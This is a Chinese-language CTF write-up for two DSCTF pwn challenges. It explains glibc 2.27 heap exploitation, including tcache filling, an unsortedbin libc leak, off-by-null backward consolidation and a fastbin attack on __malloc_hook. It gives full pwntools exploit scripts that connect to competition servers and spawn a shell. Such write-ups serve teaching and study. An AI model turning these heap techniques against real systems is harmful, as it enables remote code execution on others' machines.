# DSCTF pwn 部分 wp

原谅我懒,不想附图了,客官老爷们多包涵。

拿了第七:

32RK7_6C5A[)O6($F8NH1$C

出了两道 pwn:

66J0WNBXM}1U_C7~XZV(MBR

# fuzzerinstrospector

Case 6 有带 rdi 的任意指针调用,只要泄露 libc 即可。

rdi 指向的内容可控。

add 函数和 edit 函数功能相似。add 函数 malloc 指定大小 0x108。

前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。

可以先 free 掉七个堆块进入 tcache 填满,然后 delete 堆块进入 unsortedbin。

不过申请 unsortedbin 的时候,他似乎会先检查符合 tcache 大小,然后放进 tcache 再分配,这时候会清空 fd,就不能达到泄露的目的。

所以我通过合并操作先让他与旁边堆块合并再与 top chunk 合并,保留下来了 fd 指针。

然后利用 scanf 读入失败,就不会给前八字节赋值,把 fd 保留下来了,然后泄露 libc 基址。

最后调用 system (’/bin/sh’) 即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from secrets import choice
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/DSCTF/fuzzerinstrospector')
r =remote('39.105.185.193',30007)
libc = ELF('/mnt/hgfs/ubuntu/DSCTF/libc-2.27.so')

def menu(choice):
r.recvuntil(b"Your choice: ")
r.sendline(str(choice))

def add(index,content):
menu(1)
r.recvuntil(b"Index: ")
r.sendline(str(index))
for i in range(8):
r.recvuntil(b'Index')
r.sendline(b'+')
r.recvuntil(b"Bitmap: ")
r.send(content)

def delete(index):
menu(4)
r.recvuntil(b"Index: ")
r.sendline(str(index))

def show(index):
menu(3)
r.recvuntil(b"Index: ")
r.sendline(str(index))

def edit(index,content):
menu(2)
r.recvuntil(b"Index: ")
r.sendline(str(index))
for i in range(8):
r.recvuntil(b'Index')
r.sendline(content[i])
r.recvuntil(b"Bitmap: ")
r.send(indexindex)

indexindex = b''
for i in range(0x100):
indexindex += i.to_bytes(1,'little')
add(0,b'a'*0x100)
add(1,b'a'*0x100)
add(2,b'a'*0x100)
add(3,b'a'*0x100)
add(4,b'a'*0x100)
add(5,b'a'*0x100)
add(6,b'a'*0x100)
add(7,b'a'*0x100)
add(8,b'a'*0x100)
[delete(i) for i in range(9)]
[add(j,indexindex) for j in range(7)]
add(7,indexindex)

show(7)
fd = 0
for k in range(6):
r.recvuntil(b'Bit: ')
tmp = int(r.recvuntil(b'\n')[:-1],10)
fd += tmp<<(k*8)

libc_base = fd-0x3ebca0
system_addr = libc_base+libc.sym["system"]
delete(0)
menu(1)
r.sendlineafter(b'Index: ',b'0')
for i in range(8):
r.sendlineafter(b'Index: ',str(b'/bin/sh\x00'[i]).encode())
r.sendafter(b'Bitmap: ',indexindex)
menu(6)
r.sendline(str(system_addr))
# gdb.attach(r)

log.success("libc_base: "+hex(libc_base))
r.interactive()

# rusty

  • 1.add 功能:add 0-0x100 大小的堆块。并且调用的是 calloc。

  • 2.edit 功能:可以有 off by one。

  • 3.delete 功能:删除上一个 add 的堆块,也就是说 delete 是从下往上 free 的。

  • 4.show 功能:有 utf-8 编码。

有了 off by one 是可以构造 chunk overlapping 的,不过问题出在这道题调用的是 calloc,会清空堆块内内容,并且 free 的不可控性让这道题难度增大。

思路一:glibc2.27 版本下,我的最初想法是看到了程序自带的 0x1800 大小的堆管理结构,我想泄露堆基址后通过古老版本已知堆基址的 unlink 改变堆管理结构中的堆指针。这样就可以写入已知的栈地址,进行泄露 libc 和 getshell。不过堆地址在我看来几乎是不可泄露的。原因 1:要 show 的话就必须使当前堆块没有被 free 掉,当前堆块没有被 free 掉的话,能 show 出堆地址就只有一种可能性了:通过 unsortedbin 分割一个堆块,然后 show 这个堆块里的内容。不过可惜,这道题用的是 calloc,会清空堆块内容,所以泄露堆基址这一思路我放弃了。

思路二:由于这道题的 delete 是从下往上 free,所以 off by one 基本上没有什么用。因为 off by one 构造 chunk overlapping 基本都是往下构造的。我想到用 off by one 转换成 off by null 向上合并。在 glibc2.27 版本下是没有对 size 和 prev_size 的检测的。那么我们可以采用夹心饼攻击。通过两个 unsortedbin 中间夹 tcache bin 来泄露 libc 基址。同时由于 calloc 不分配 tcache,所以我在中间也夹了 fastbin。最终用 fastbin attack getshell。

问题来了,我们 off by null 合并堆块得 delete 下方堆块触发合并,那么就得先在上方构造一个 unsortedbin,再 free 掉下方堆块触发合并。

但是 delete 是由下往上的 free,如何在不 free 掉下方堆块的情况下,使得上方堆块出现一个 unsortedbin 呢?

我这里采用的方法是先将 0x80 与 0x100 大小的 tcache 空闲列表填满,然后 free 掉两个 0x100 大小的堆块合并成一个 0x200 大小的 unsortedbin,然后将其切割成 0x90 大小的 unsortedbin。

这样上方就会有一个 0x90 大小的 unsortedbin(带 fd,bk)。

然后再在下方 calloc (0xf8) 堆块,free 掉若干的 0xf8 大小的堆块后。然后通过 off by one edit 最顶上的 0xf8 大小的堆块,向第二个 0xf8 大小的堆块写入 fake_prev_size 和 \x00 字节,最后 free 掉第二个 0xf8 大小的堆块触发向上合并。

这时候再切割大 unsortedbin 到未被 free 掉的 0x100 大小的堆块,然后用 show 功能 show 出 libc 基址。

这里出题人 show 出的是 utf-8 编码后的字符。

我 python3 可以直接解码,但是 python2 会出一点问题,得分段获取。

然后就是 fastbin attack。打 malloc_hook 填入 ogg。

不过我本地早就通了远程通不了。

由于我的堆风水过于复杂,被迫换 ubuntu18 调试,换了 ubuntu18 之后 libc 小版本一致,这解决了第一个堆风水的问题,那就是原有程序 free 掉了一个 0x100 堆块,导致我多填充了一个。

解决掉这个问题之后我的远程还是通不了,最后尝试在 malloc_hook 附近爆破 0x7f 字节的地址成功了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pickle import TRUE
from pwn import *
from time import sleep
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/home/cru5h/bin/2022/11/rusty')
# r = remote('39.105.187.159',30008)
libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')

def menu(choice):
r.recvuntil(b'Command:')
r.sendline(str(choice))

def add(size):
menu(1)
r.recvuntil(b'Size: ')
r.sendline(str(size))

def edit(index,size,content):
menu(2)
r.recvuntil(b'Idx: ')
r.sendline(str(index))
r.recvuntil(b'Len: ')
r.sendline(str(size))
r.recvuntil(b'Data: ')
r.sendline(content)

def delete():
menu(3)

def show(index):
menu(4)
r.recvuntil(b'Idx: ')
r.sendline(str(index))


def pwn(i):
r.recvuntil(b'Let\'s build a rusty house!\n')
stack_addr = int(r.recvuntil(b'\n')[:-1],16)


[add(0x88) for i in range(8)] #0-7
[add(0x100) for i in range(9)]#8-16
[add(0x68) for k in range(8)]#17-24
[delete() for j in range(17)]
add(0x80)#8
add(0x100)#9

[add(0xf8) for k in range(9)]#10-18
[delete() for l in range(7)]
edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'\x00')#9-11 exists

delete()
add(0x70)#11
[add(0x100) for o in range(6)]#12-17
add(0xf0)#18
[add(0x60*2) for o in range(4)]#19-22
add(0x40)#23


show(10)





r.recvuntil(b'Data: ')
# something= r.recvuntil(b'\x7f')[-6:].decode('utf8')
# print(something)
r.recv(2)
# res = r.recvuntil(b'\x7f')
# print(res)
# print(len(res))
# libc_base = u64(res.ljust(8,'\x00')) - 0x3ebca0

libc_base = u64(r.recvuntil(b'\x7f').decode('utf8').ljust(8,'\x00'))
libc_base = (libc_base<<8)+0xa0-0x3ebca0
print(hex(libc_base))
one_gadget = libc_base+0x4f302
malloc_hook = libc_base+libc.sym["__malloc_hook"]
print(hex(malloc_hook))
# edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))

edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))
# gdb.attach(r)
add(0x60)#24
add(0x68)#25
edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))
# pause()

# log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
menu(1)
r.interactive()


for i in range(0x60):
r = remote('39.105.187.159',30008)
try:
print(i)
pwn(i)

except EOFError:
r.close()
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝